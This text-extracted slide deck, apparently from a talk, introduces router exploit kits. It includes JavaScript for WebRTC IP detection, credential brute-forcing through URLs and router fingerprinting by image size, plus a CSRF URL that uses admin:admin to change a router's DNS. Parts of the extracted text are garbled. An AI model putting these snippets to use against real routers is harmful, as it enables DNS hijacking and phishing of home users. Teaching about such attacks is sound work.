# An introduction to the Router Exploit Kits

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# AGENDA



#### **Basics of Wi-Fi Hacking**

Wireless-auditing tools & attacks

#### **Router Exploit Kits**

Attacks and threats in the wild

#### Power of JavaScript

Proof of Concept - how are REKs made?

#### **Defending Yourself**

How to defend yourself from attackers



# Basics of Wi-Fi Hacking

Wireless-auditing tools & attacks

WEP Wired Equivalent Privacy 1999 - 64-bit encryption, new 256-bit, but 128-bit remains most common

WPS

Wi-Fi Protected Setup Does anybody use this?!





WPA

Wi-Fi Protected Access 2003 - 256-bit encryption, usage of TKIP



Wi-Fi Protected Access II 2006, AES algorithms

Use WPA2 + AES if possible, WPA2 + TKIP as fallback, disable WPS



## wifite2

https://github.com/derv82/wifite2

 $\checkmark$ 

#### Aircrack-ng

airmon-ng, aircrack-ng, aireplay-ng, airodump-ng

#### tshark

Detecting WPS networks, inspecting handshakes

#### reaver & bully

WPS Pixie-Dust & brute-force attacks

#### coWPAtty & pyrit

Detecting handshake captures

#### hashcat

For cracking PMKID hashes

#### iwconfig & ifconfig

wireless devices management & monitor mode



# **UPC Wi-Fi Keys**

WPA2 passphrase recovery tool for UPC1234567 device

#### https://upc.michalspacek.cz/

https://play.google.com/store/apps/details?id=net.yolosec.upckeygen

https://f-droid.org/wiki/page/net.yolosec.routerkeygen2

https://github.com/yolosec/routerkeygenAndroid

https://github.com/yolosec/upcKeygen

# **Router Exploit Kits**

Attacks and threats in the wild

# BRAZIL

**Epicenter / Patient Zero / Oday** 



Router Exploit Kits originated in Brazil (2010/2011), still most active there to this day!



Millions of routers were hacked, replaced with malicious DNS and used in various phishing attacks!



Financial motivation and really insecure routers were main factor of such "success"!



# Hacking to pay for Rio prostitutes

2012 - How millions of DSL modems were hacked in Brazil, to pay for Rio prostitutes https://nakedsecurity.sophos.com/2012/10/01/hacked-routers-brazil-vb2012/

Leaked IRC chat between some of the hackers involved in the DNS caper: "One of them described how another hacker earned more than 100,000 Reais (approximately \$50,000) and would spend his ill-gotten gains on trips to Rio de Janeiro in the company of prostitutes."





#### Router Exploit Kits

Most popular REKs used by the "criminals".

<u>https://github.com/mandator</u> <u>yprogrammer/sonar.js</u>



# RouterSploit

Open-source exploitation framework dedicated to embedded devices.

https://github.com/threat9/routersploit



modules that perform generic attacks



# Power of JavaScript

Proof of Concept - how are REKs made?

## How does it works?!





#### Detect IP

Determine local IP via WebRTC Bruteforce

Crack default router password

#### **Identify** router

Check the router model / vendor

#### Change DNS

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Authenticated request via CSRF exploit

Profit

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Phishing campaign to pay for prostitutes



## Detect IP

Determine local IP via WebRTC

window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;

```
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel(");
pc.createOffer(pc.setLocalDescription.bind(pc), noop);
```

```
pc.>{
```

var myIP =  $/([0-9]{1,3})(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1]; alert(myIP); pc.onicecandidate = noop;$ 



## **Password bruteforce**

Cracking HTTP Basic Auth

## http://username:password@192.168.1.1

The userinfo subcomponent may consist of a user name and, optionally, scheme-specific information about how to gain authorization to access the resource. The user information, if present, is followed by a commercial atsign ("@") that delimits it from the host.

#### **RFC 3986**

Uniform Resource Identifier (URI): Generic Syntax

3. Syntax Components https://tools.ietf.org/html/rfc3986#section-3

3.2. Authority https://tools.ietf.org/html/rfc3986#section-3.2

3.2.1. User Information https://tools.ietf.org/html/rfc3986#section-3.2.1



# **Identify router**

## Check the router manufacturer and model

```
logo = document.createElement("img");
logo.setAttribute("src", "http://" + user + ":" + pass + "@" + ip + "/images/logo.jpg");
logo.setAttribute("id", Math.random());
```

document.body.appendChild(logo);

```
logo.onload = function() {
    if (this.width == 200 && this.height == 100) {
        alert("TP-Link")
    } else if (this.width == 100 && this.height == 40) {
        alert("D-Link")
    } else {
        alert("Fuck")
    }
}
```



# **Change DNS**

Authenticated request via CSRF exploit

# http://admin:admin@192.168.1.1/apply.cgi? wan\_primary\_dns=1.1.1.1&wan\_secondary\_dns=8. 8.8.8

# Extracting router firmware

*\$ sudo apt-get install binwalk \$ git clone https://github.com/devttys0/sasquatch.git \$ unzip sasquatch-master.zip \$ cd sasquatch-master* \$./build.sh\$ \$ wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AC66U/FW RT AC66U 30043808228.ZIP \$ unzip FW\_RT\_AC66U\_30043808228.ZIP \$ cd FW\_RT\_AC66U\_30043808228 *\$ binwalk -e RT-AC66U\_3.0.0.4\_380\_8228-g3af35f9.trx* \$ cd\_RT-AC66U\_3.0.0.4\_380\_8228-g3af35f9.trx.extracted *\$ Is /squashfs-root/www/images* 

```
["TREN-E300-150", "/image/logo.gif", 390, 69, 0],
 "ZYXE-N8G416", "/images/logo.gif", 169, 50, 0],
["MICR-MN-500", "/images/header.jpg", 800, 70, 0],
["TEND-11N", "/tendalogo.gif", 387, 90, 0],
 "BELK-F5D8236-4V2", "/images/head_logo.gif", 312, 68, 0],
 "TREN-TW10054W1CA", "/images/logo.jpg", 270, 69, 0],
 "TPLI-ALL", "/images/top1_1.jpg", 280, 87, 1],
 "BELK-PHILIPS", "/images/title_2.gif", 321, 28, 1],
 "DLIN-DIR-604", "/home_01.jpg", 765, 95, 0],
 'ASUS-UNKNOWN", "/images/New_ui/asustitle.png", 218, 54, 0],
 NETG-DGN10008", "/redbull.gif", 7, 7, 1],
 DLIN-W8R1310", "/wlan_masthead.gif", 836, 92, 0],
   ETG-DG834v3-DGN2200", "/redbull.gif", 7, 7, 1],
   IN-D2768", "/wlan_masthead.gif", 836, 92, 0],
   IN-DSLG604T", "/html/images/ds1604.jpg", 765, 95, 1],
     K-F9k1105V2", "/images/icon-Change_pencil.png", 18, 18, 0],
     (-F9k1105V2", "/images/icon-Change_pencil.png ", 18, 18, 0],
      -ALL-2740R", "/wlan_masthead.gif", 836, 92, 0],
      WF2414", "/images/icon_now.gif", 14, 14, 0],
       5D7238-4", "/images/title_2.gif", 321, 28, 1],
        000", "/image/logo_gn.gif", 101, 51, 1],
        5N1000-D6N2200", "/redbull.gif", 7, 7, 1],
         R810L-826L", "/wlan_masthead.gif", 836, 92, 0],
          1", "/themes/TM01/Drift-logo.png", 300, 89, 0],
          I", "/themes/TM04/Drift-logo.png", 300, 89, 0],
           1154 V4", "/tmp.gif", 700, 54, 1],
           4GLV4", "/image/UI_Linksys.gif", 288, 58, 1],
            80", "/Images/img_masthead_red.gif", 856, 92, 0],
             v3", "/settings.gif", 750, 85, 0],
               "/images/top-02.gif", 359, 78, 1],
                 "/UILinksys.gif", 165, 57, 1],
                "/images/top-02.gif", 359, 78, 1],
                "/images/logo.gif", 169, 50, 0],
                ', "/graphics/head_logo.gif", 121, 64, 0],
                 41ND-WR700", "/images/top1_1.jpg", 280, 87, 1],
                  "/graphics/banner.nog", 1024, 70, 11
```

# wigle.net

Wireless Network Mapping

Identify vendor and model in "poor" areas based on BSSID - 00-20-91-00-13-37

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Cyrilská 7, 602 00 Brno-st X	م vigle.net	WIGLE.NET		/IGLC	\vigle,∩eŤ		``	VIGLE, NET	Latitude 49.1902 to 49.1904 Longitude 16.62 to 16.6207
-				0		•GRRIN STUDENT bc 26c7/c5 3c 81 •22 2 66 fb e4 f5 73 1b RESHIRCE c6 fb e4 f5 73 1b 2c fb a1 cb fb 31 c6 fb e4 f5 73 1b 2c fb a1 cb fb 31	0		SSID foobarnet BSSID 0A:2C:EF:3D:25:1B Date Range: 2001-2020
/IGLE.NET	\vigle,net	<b>WIGLE, NET</b>	Search result Cyrilská 508/7, 60	2 00, Brno, Brno-město, Jihomora	II X vský kraj	*221 8世ま15731時最15731 27 世世時15後紀 13 13 111後記録15後紀	•GKREN STUDEN b:3667 8b363	7 S & 20 88 x2 40 	Possible FreeNet     Possible Commercial Net     No Labels     Only Discovered By Me     Only Discovered By Others Coloring:     density     Network density coded     Filter Set default
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## **Vulnerable routers**

A curated list of 200+ exploitable Wi-Fi routers from 55+ manufactures!

A-Link	DSLink	Intelbras	PFTP	TECHNIC
AirRouter	EDIMAX	Inteno	PIKATEL	TENDA
Antena	Elsys	LG	Pirelli	Thomson
ASUS	Exper	LINKONE	PLANET	TP-Link
Beetel	Fiberhome	Linksys	QBR	Trendnet
Belkin	Fiberlink	Medialink	Realtron	TripMate
Broadlight	GEPONONU	Microsoft	Roteador	UTstarcom
C3-TECH	Greatek	Motorola	Sapido	WebUI
COMTREND	GWR	NETGEAR	Secutech	Wive-NG
D-Link	iBall	NETIS	Shuttle	Zyxel

Ping me if interested, I can share the results for future research ...

# **Defending Yourself**

How to defend yourself from attackers



How to defend yourself from REKs



# **Don't be EVIL!**



# Thank You!

# **DO YOU HAVE ANY BITCOINS?**

1Hx7eLzzUyAqM6k8d8AVffCVYeFv7b2sw7